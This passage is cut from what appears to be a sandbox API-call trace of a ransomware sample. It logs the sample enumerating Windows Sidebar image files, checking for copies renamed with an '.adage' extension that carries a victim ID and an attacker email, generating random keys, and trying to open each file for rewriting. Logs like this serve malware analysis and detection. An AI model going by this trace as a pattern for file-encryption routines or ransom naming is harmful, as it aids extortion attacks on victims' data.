Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.664] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)graystateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.809] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=429) returned 1 [0067.809] CloseHandle (hObject=0x100) returned 1 [0067.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)graystateicon.png")) returned 0x20 [0067.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)grayStateIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)graystateicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)graystateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.810] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)notconnectedstateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.811] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=680) returned 1 [0067.812] CloseHandle (hObject=0x100) returned 1 [0067.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)notconnectedstateicon.png")) returned 0x20 [0067.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)notConnectedStateIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)notconnectedstateicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)notconnectedstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.812] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)redstateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.812] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=680) returned 1 [0067.812] CloseHandle (hObject=0x100) returned 1 [0067.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)redstateicon.png")) returned 0x20 [0067.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)redStateIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)redstateicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)redstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.813] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.814] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4066) returned 1 [0067.814] CloseHandle (hObject=0x100) returned 1 [0067.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png")) returned 0x20 [0067.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.814] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.815] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4066) returned 1 [0067.815] CloseHandle (hObject=0x100) returned 1 [0067.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png")) returned 0x20 [0067.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.815] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)alerticon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.816] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=993) returned 1 [0067.816] CloseHandle (hObject=0x100) returned 1 [0067.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)alerticon.png")) returned 0x20 [0067.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)alertIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)alerticon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.816] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)graystateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.817] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=578) returned 1 [0067.817] CloseHandle (hObject=0x100) returned 1 [0067.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)graystateicon.png")) returned 0x20 [0067.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)grayStateIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)graystateicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)graystateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.818] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)greenstateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.818] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=752) returned 1 [0067.818] CloseHandle (hObject=0x100) returned 1 [0067.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)greenstateicon.png")) returned 0x20 [0067.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)greenStateIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)greenstateicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)greenstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.819] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)notconnectedstateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.819] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=963) returned 1 [0067.819] CloseHandle (hObject=0x100) returned 1 [0067.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)notconnectedstateicon.png")) returned 0x20 [0067.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)notConnectedStateIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)notconnectedstateicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)notconnectedstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.819] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)redstateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.820] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=963) returned 1 [0067.820] CloseHandle (hObject=0x100) returned 1 [0067.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)redstateicon.png")) returned 0x20 [0067.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)redStateIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)redstateicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)redstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.820] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.820] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4066) returned 1 [0067.820] CloseHandle (hObject=0x100) returned 1 [0067.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png")) returned 0x20 [0067.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.821] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.825] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4066) returned 1 [0067.825] CloseHandle (hObject=0x100) returned 1 [0067.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png")) returned 0x20 [0067.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.826] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.827] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=7182) returned 1 [0067.827] CloseHandle (hObject=0x100) returned 1 [0067.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png")) returned 0x20 [0067.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.828] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.828] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=7182) returned 1 [0067.828] CloseHandle (hObject=0x100) returned 1 [0067.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png")) returned 0x20 [0067.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.828] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.829] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6073) returned 1 [0067.829] CloseHandle (hObject=0x100) returned 1 [0067.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png")) returned 0x20 [0067.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.830] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows 